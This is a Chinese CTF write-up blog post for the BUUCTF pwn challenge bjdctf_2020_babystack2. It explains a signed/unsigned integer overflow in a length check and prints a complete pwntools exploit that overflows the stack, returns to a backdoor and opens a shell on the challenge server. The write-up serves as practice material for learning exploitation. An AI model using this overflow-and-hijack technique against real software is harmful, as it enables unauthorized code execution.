BUUCTF-bjdctf_2020_babystack2

题目简介

BUUCTF原题,链接见BUUCTF-bjdctf_2020_babystack2

(记做出来的第一道整数溢出类型题目)

漏洞点分析

首先checksec,看到只开启了NX保护,如图:


进入IDA,看到存在后门函数,调用了system(“/bin/sh”)


之后分析main函数,如图:


可以看到read读取多少字节取决于我们的输入,但是如果大于10会被检测出来

看似没有溢出点,但是仔细分析程序对于nbytes的处理会发现,类型强转带来了整数溢出类型漏洞

具体来说,由于比较和10的大小时转换成int类型,而nbytes本身是无符号类型,因此如果输入-1,在校验时会出现-1<10从而避免退出,而输入时由于-1在无符号整数下是一个大数,从而实现溢出

漏洞点利用

首先确定偏移量,由于溢出发生在main函数,而main函数的汇编一般都会遵守正常进栈(函数序言)、退栈(leave ret)流程,因此可以直接在IDA里查看偏移,从第一张图可以看到offset=0x10+0x8

之后确定backdoor函数地址,通过objdump的反汇编结果可以看到在0x400726


但保险起见不要劫持到这里,可以选择劫持到0x40072a;具体原因见Pwn的坑:堆栈平衡问题

综上,可以写出如下的利用脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(os="linux",arch="x86_64",log_level="debug")
context.terminal=["tmux","splitw","-h"]
LOCAL=0
REMOTE=1
DEBUG=2
targetELF="./pwn"
offset=0x18
winAddr=0x40072a

def Lauch(mode=LOCAL):
if mode==LOCAL:
ioTube=process(targetELF)
return ioTube
elif mode ==REMOTE:
ioTube=remote("node5.buuoj.cn",26493)
return ioTube
elif mode==DEBUG:
ioTube=gdb.debug(targetELF,"b *0x400519")
return ioTube

def Attack(io):
io.recvuntil("[+]Please input the length of your name:\n")
io.sendline("-1")
io.recvuntil("[+]What's u name?\n")
payload=b'1'*offset+p64(winAddr)
io.send(payload)
io.interactive()

ioTube=Lauch(REMOTE)
Attack(ioTube)

BUUCTF-bjdctf_2020_babystack2
http://0x4a-210.github.io/2025/08/06/pwn刷题记录/整数溢出/BUUCTF-bjdctf-2020-babystack2/
Posted on
August 6, 2025
Licensed under